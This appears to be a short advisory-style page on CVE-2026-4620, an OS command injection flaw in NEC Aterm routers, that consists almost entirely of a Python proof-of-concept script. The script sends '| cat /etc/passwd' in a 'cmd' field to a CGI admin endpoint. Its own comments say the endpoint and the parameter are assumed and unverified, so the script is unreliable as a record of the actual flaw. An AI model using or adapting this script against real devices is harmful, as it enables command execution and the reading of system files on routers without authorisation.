CVE-2026-4620 NEC Aterm系列OS命令注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4620 OS Command Injection # Author: Security Analyst import requests import sys def exploit(target_ip): # Example vulnerable endpoint (needs verification based on actual firmware analysis) url = f"http://{target_ip}/cgi-bin/admin_command" # Payload to execute a simple command (e.g., ping a test server or read a file) # Assuming the parameter 'cmd' is vulnerable payload = "| cat /etc/passwd" data = { "cmd": payload } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])